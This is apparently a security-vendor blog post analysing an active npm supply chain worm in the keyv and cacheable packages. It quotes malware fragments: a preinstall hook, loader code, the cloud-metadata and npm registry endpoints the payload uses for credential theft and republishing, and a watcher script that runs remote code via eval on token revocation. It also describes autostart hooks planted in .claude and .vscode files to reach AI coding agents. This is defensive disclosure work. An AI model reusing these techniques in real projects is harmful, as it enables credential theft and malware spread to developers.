# Popular npm Packages in the keyv and Cacheable Namespaces Compromised in Active Supply Chain Attack

> Source: <https://socket.dev/blog/popular-npm-packages-in-the-keyv-and-cacheable-namespaces-compromised-in-active-supply-chain?utm_medium=feed>
> Published: 2026-08-04 10:36:00+00:00

*Socket’s AI scanner flagging the malicious*

`setup.mjs`

preinstall hook in `keyv@6.0.0`

.Popular npm packages keyv and cacheable compromised.

Socket’s Threat Research Team is tracking an active supply chain compromise affecting the widely used `keyv`

and `cacheable`

npm packages. On August 4, 2026, at least ten packages beginning with the keyv and cacheable namespaces and spreading to packages owned by other maintainers, were published with a malicious `preinstall`

hook (`setup.mjs`

) that downloads a standalone Bun runtime, executes an obfuscated second stage, harvests cloud and CI credentials, and republishes trojanized versions of other packages the stolen npm token can reach. The affected packages collectively account for tens of millions of weekly downloads. New packages are appearing in real time, and Socket team will keep on updating the list.

The evidence indicates the maintainer account (Jaredwray) was compromised and used to publish across two package families. From there the worm used stolen npm tokens to publish trojanized versions of additional packages, including some outside those namespaces.

`.claude`

and `.vscode`

to hit developers who clone the source.Socket’s AI scanner flagging the malicious`setup.mjs`

preinstall hook in`keyv@6.0.0`

.

This is an ongoing investigation. Socket will continue updating the blog with technical analysis of the malware and its distribution method.

Across the campaign, affected package artifacts were detected an average of five minutes and 18 seconds after publication. Socket users can check whether they are affected by viewing the dedicated campaign page: [https://socket.dev/supply-chain-attacks/keyv-and-cacheable-compromise](https://socket.dev/supply-chain-attacks/keyv-and-cacheable-compromise)

`keyv`

is a key-value storage abstraction with adapters for Redis, SQLite, Postgres, MongoDB, and more.

`cacheable`

, `cacheable-request`

, `flat-cache`

, and `file-entry-cache`

are caching libraries in the same maintainer's ecosystem. These are foundational packages that sit deep in dependency trees, so their reach is largely indirect. A common chain is `eslint`

to `file-entry-cache`

to `flat-cache`

to `keyv`

, which means most affected users never install any of them directly.

All times UTC on August 4, 2026, based on npm registry publish timestamps.

`@keyv/*`

packages (for example `@keyv/redis`

, `@keyv/sqlite`

, `@keyv/mongo`

) published their `6.0.0`

tarballs between 09:30 and 09:32, roughly seven minutes before the staging commit. Those tarballs do not contain the `preinstall`

hook. Treat them as suspect given the account compromise, but the executable payload is confirmed only in the packages listed below.`keyv@6.0.0`

published at 09:35, the first version to carry the malicious `preinstall`

hook.`keyv@6.0.0`

roughly six minutes after publication, surfacing the malicious `preinstall`

hook well before the broader `cacheable`

burst that followed at 10:09. `@thiennq/docs-viewer@1.6.2`

, a package outside the keyv and cacheable namespaces, published at 09:38, indicating the campaign reached at least one account beyond these two families.`jaredwray/keyv`

source repository shows force pushes to `main`

, repeated deletion of the `v6.0.0`

tag, a commit titled "add setup.mjs and Math_Symbol.js to all @keyv/* packages," and subsequent activity on the `v5`

release branch. This indicates the threat actor retained account and CI control and was manipulating history in real time.`cacheable`

family published in a burst between 10:09:44 and 10:14:41: `@cacheable/net@2.1.1`

, `@cacheable/node-cache@3.1.2`

, `cacheable@2.5.1`

, `flat-cache@6.1.24`

, `cacheable-request@13.0.20`

, `@cacheable/memory@2.2.1`

, `file-entry-cache@11.1.6`

, `@cacheable/utils@2.5.1`

, and `cache-manager@7.2.10`

.The compromise is delivered entirely through the npm lifecycle. The published library code (the package dist/ output) is byte identical, by SHA-256, to the clean 6.0.0-rc.1 build. Every dist file matches; the only changes in the package are package.json and the two added lifecycle files. All malicious behavior lives in an added `preinstall`

hook, so the package behaves normally after installation while the host is already compromised.

The trojanized [ package.json](https://socket.dev/npm/package/keyv/files/6.0.0/package.json) adds two files and a hook:

```
"files": [ "dist", "LICENSE", "setup.mjs", "Math_Symbol.js" ],
"scripts": {
  "preinstall": "node setup.mjs"
}
```

`setup.mjs`

)[ setup.mjs](https://socket.dev/npm/package/keyv/files/6.0.0/setup.mjs) is a lightly obfuscated Node script. If

`bun`

is not already present, it downloads a platform-matched standalone Bun runtime and uses it to run the second stage. Node still executes setup.mjs first; the loader then uses Bun to run the second stage, which may bypass controls that monitor only Node processes.

``` js
const V = "1.3.13";
const E = "Math_Symbol.js"; // recovered constant; the .claude/.vscode repo variant of this loader uses "math_init.js" for the identical payload
const url = "https://github.com/oven-sh/bun/releases/download/bun-v" + V + "/" + target + ".zip";
```

The loader detects platform and architecture (including Alpine and musl via `ldd --version`

and `/etc/os-release`

), unzips using the system `unzip`

, PowerShell `Expand-Archive`

on Windows, or a hand written pure JavaScript ZIP parser fallback, then executes the second stage:

```
execFileSync(bunBinary, [payloadPath], { stdio: "inherit", cwd: D });
```

The loader downloads the Bun binary over HTTPS with no checksum or signature verification, and removes its `bun-dl-*` temporary directory after execution, which limits on-disk artifacts.

`Math_Symbol.js`

)`Math_Symbol.js`

is a roughly 728 KB Bun bundle. Strings are protected with polymorphic basE91 encoding: one shared numeric opcode table drives dozens of per scope alphabets that are decoded lazily. Recovering the strings requires reimplementing basE91 and brute forcing each alphabet, which yields the full capability set. Internal module log tags identify the components: `[collector]`

, `[dispatcher]`

, `[provenance]`

, and `[publish]`

.

Credential collection targets a broad range of secrets:

```
"http://169[.]254[.]169[.]254/latest/api/token"
"http://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/"
"http://169[.]254[.]170[.]2"
```

The collector actively queries the AWS instance metadata service and reads AWS credential chains and Secrets Manager across regions. GCP service account private keys and Azure client secrets appear as regular-expression and file targets rather than confirmed API calls. It reads HashiCorp Vault tokens from paths such as /home/runner/.vault-token and /run/secrets/VAULT_TOKEN, Kubernetes service account tokens from /var/run/secrets/kubernetes.io/serviceaccount/token, and npm tokens via the registry whoami and token endpoints. It enumerates GitHub Actions organization and repository secret metadata through the API; secret values are recovered from environment variables, files, and process scanning on the runner, not from that API.

A TruffleHog style regular expression sweep hunts generic keys, bearer tokens, and private key blocks on disk.

Self propagation turns the credential theft into a worm:

```
"https://registry.npmjs.org/-/whoami"
"registry.npmjs.org/-/v1/search?text=maintainer:" // discover targets
"https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/" // mint publish credential
```

For each discovered package, the payload downloads the tarball, injects the same `preinstall`

hook and payload files, recomputes the integrity and shasum fields, bumps the version, and issues a `PUT`

to the registry. A dedicated provenance component builds DSSE attestation envelopes, requests Fulcio signing certificates, and submits Rekor transparency-log entries, so republished versions can ship freshly minted, verifiable sigstore provenance rather than merely inheriting it. Separately, and this is what we confirmed directly, `keyv@6.0.0 `

itself shipped with a passing attestation because the legitimate release workflow built already-trojanized source. The republish capability in the payload and the observed keyv provenance are two distinct facts.

Exfiltration and persistence avoid a fixed command and control host. A `GitHubSender`

component creates repositories through `POST /user/repos`

and commits stolen findings using the GraphQL `createCommitOnBranch`

mutation, while a DomainSender component resolves destinations via DNS and health-checks them before sending encrypted data. The bundle embeds an operator-controlled public key, stored as an AES-256-GCM-encrypted constant and decrypted at runtime, and uses AES-256-GCM (envelope: 12-byte IV, 16-byte tag, ciphertext) for its data handling. Collected data is delivered as ciphertext, so the GitHub repositories and DNS-resolved destinations receive only encrypted output. The source repository additionally plants autostart hooks in `.claude/settings.json`

(a `SessionStart`

hook) and `.vscode/tasks.json`

(a `folderOpen`

task), both of which execute the same loader when a developer or an AI coding agent opens the cloned repository, with no `npm install`

required.

Beyond the repository autostart files, the payload installs a host-level dead-man's switch. It writes the stolen GitHub token and a handler command to `~/.config/gh-token-monitor/{token,handler} (mode 600)`

, then persists itself as a macOS LaunchAgent `(com.user.gh-token-monitor, RunAtLoad and KeepAlive)`

or a Linux `systemd`

user service with `loginctl enable-linger`

so it survives logout. A watcher script at `~/.local/bin/gh-token-monitor.sh`

polls the GitHub API with the stolen token every 60 seconds; when the token stops working (an HTTP 4xx, the moment it is revoked or rotated), it evaluates a remote-supplied handler string, then deletes its state and exits. It also self-clears after a 24-hour TTL.

```
if [[ "$HTTP_STATUS" =~ ^40[0-9]$ ]]; then
eval "$HANDLER"          # triggered by token revocation / rotation
rm -f "$STARTED_FILE"; exit 0
fi
```

The LaunchAgent is labelled com.user.gh-token-monitor and the systemd unit describes itself as "GitHub Token Validity Monitor," so it reads as a developer convenience at a glance. No linter, secret scanner, or release tool installs a background service that watches for its own credential to be revoked and then evaluates a remote-supplied string. This is the artifact that removes any ambiguity about intent.

Any environment that installed an affected version and ran install scripts should be treated as compromised. On a developer workstation or CI runner, the payload can exfiltrate cloud provider keys, Vault and Kubernetes tokens, GitHub and npm credentials, and any secrets matching its regex sweep.

Because the payload republishes through the victim's own npm identity, a single compromised CI token can extend the campaign to additional packages, and the maintainer controlling both `keyv`

and `cacheable`

gives the worm a large blast radius across common dependency trees.

The lesson is that provenance attests build integrity, not source integrity. The npm and sigstore pipeline did exactly what it is designed to do and still produced a signed, verifiable attestation for malware, because the source it built from was already trojanized.

The tradecraft closely matches the techniques seen in the Shai-Hulud npm worm activity: harvesting credentials with a TruffleHog style regular expression sweep, enumerating the maintainer's packages and republishing trojanized versions through stolen npm tokens and OIDC trusted publishing, and staging stolen data into threat actor controlled GitHub repositories created through the GitHub API.

The payload's strings are protected with polymorphic basE91 encoding, and the components that name the dead-drop repositories and commits appear to be constructed at runtime, so the self-identifying markers that would tie this to a named campaign were not recovered from the sample. This sample also shows techniques not documented in earlier Shai-Hulud reporting: it downloads a standalone Bun runtime to execute a bundled second stage, uses a modular dispatcher with separate GitHub and domain-based delivery channels, and plants autostart hooks in `.claude`

and `.vscode`

to reach developers and AI coding agents who clone the source.

Pin each affected package to the version immediately prior to the one listed below and rebuild lockfiles. Prefer exact versions and lock by integrity hash. Do not allow caret or tilde ranges or `npm update`

to pull a fresh 5.x or patched release while the maintainer account remains compromised. Where practical, block the entire `keyv`

, `@keyv`

, and `cacheable`

scope in your registry proxy or allowlist rather than individual versions.

Before rotating any credential, hunt for and remove the host-level dead-man's switch. Revocation is its trigger: the watcher runs eval on a remote-supplied handler the moment the stolen token returns an HTTP 4xx. Check and remove:

`~/.local/bin/gh-token-monitor.sh`

`~/.config/gh-token-monitor/ (token, handler, started_at)`

`~/Library/LaunchAgents/com.user.gh-token-monitor.plist (macOS; also unload the LaunchAgent)`

`~/.config/systemd/user/gh-token-monitor.service (Linux; also run loginctl disable-linger)`

`/tmp/gh-token-monitor.{out,err}.log`

Also remove the installer and implant: the process chain `node setup.mjs`

spawning a downloaded bun, `bun-dl-*`

temporary directories, `Math_Symbol.js`

or `math_init.js`

on disk, and the `.claude/settings.json`

and `.vscode/tasks.json`

autostart hooks. Assume an equivalent monitor may exist for the npm token.

Only after the switch and implant are removed, rotate every credential reachable from the host: npm tokens, GitHub personal access tokens and GITHUB_TOKEN, AWS, GCP, and Azure keys, Vault tokens, Kubernetes service account tokens, and CI organization and repository secrets. Revoke rather than only rotate npm and GitHub tokens. Then audit npm accounts for unexpected package versions published today and audit GitHub for newly created repositories and unexpected commits.

See: [https://socket.dev/supply-chain-attacks/keyv-and-cacheable-compromise](https://socket.dev/supply-chain-attacks/keyv-and-cacheable-compromise)

`54dc7ea54a1317cca0e890a2770630cf7fa6c97813e0cb9d2caa93012b350668 - setup.mjs (npm tarball preinstall loader)`

`fd3ca4007b225fdf8de7af4345a19179d5efa8c4bb9205f88cda806e5684b1eb - setup.mjs (.claude and .vscode repository loader, identical in both)`

`9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc - Math_Symbol.js (npm tarball) and math_init.js (repository), identical payload`

`keyv-6.0.0.tgz`

- `37f9f847e9c3e520b47d83a 9029e199dbc30c6a195a1d80467d0fb1a6fd5068728ad4d1a422995ca578359263afdac5d3b4fed7a6b9befad27de19cca6966952`

`169[.]254[.]169[.]254`

`169[.]254[.]170[.]2`

`github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/`

`registry[.]npmjs[.]org/-/whoami`

`registry[.]npmjs[.]org/-/npm/v1/tokens`

`registry[.]npmjs[.]org/-/npm/v1/oidc/token/exchange/package/`

Get notified when we publish new security blog posts!
